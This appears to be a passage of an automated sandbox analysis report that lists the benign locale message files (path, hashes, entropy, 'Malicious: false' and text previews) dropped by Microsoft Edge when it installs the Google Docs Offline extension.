Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
